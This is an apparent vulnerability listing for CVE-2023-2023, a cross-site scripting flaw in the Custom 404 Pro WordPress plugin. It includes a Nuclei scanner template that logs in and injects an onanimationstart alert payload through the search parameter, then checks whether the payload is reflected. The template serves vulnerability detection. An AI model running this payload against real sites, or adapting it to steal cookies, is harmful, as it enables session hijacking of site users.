Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2023-2023
info:
name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 3.7.3
reference:
- https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317
- https://wordpress.org/plugins/custom-404-pro/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2023
- https://github.com/GREENHAT7/pxplan
- https://github.com/thatformat/Hvv2023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2023
cwe-id: CWE-79
epss-score: 0.79898
epss-percentile: 0.9907
cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: kunalnagar
product: custom_404_pro
framework: wordpress
tags: cve2023,cve,wpscan,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_2 == 200
- contains(content_type_2, "text/html")
- contains(body_2, "onanimationstart=alert(document.domain)//")
- contains(body_2, "Custom 404 Pro")
condition: and
# digest: 4b0a00483046022100a28bc0293cfa87e5cb53b8a5843d5700f854cb7247a3b876eb3fb0600fec15ac02210099adeae26572cf870595c887145dfa2bad20bb9b200f9b7b081b5356a5e0185e:922c64590222798bb761d5b6d8e72950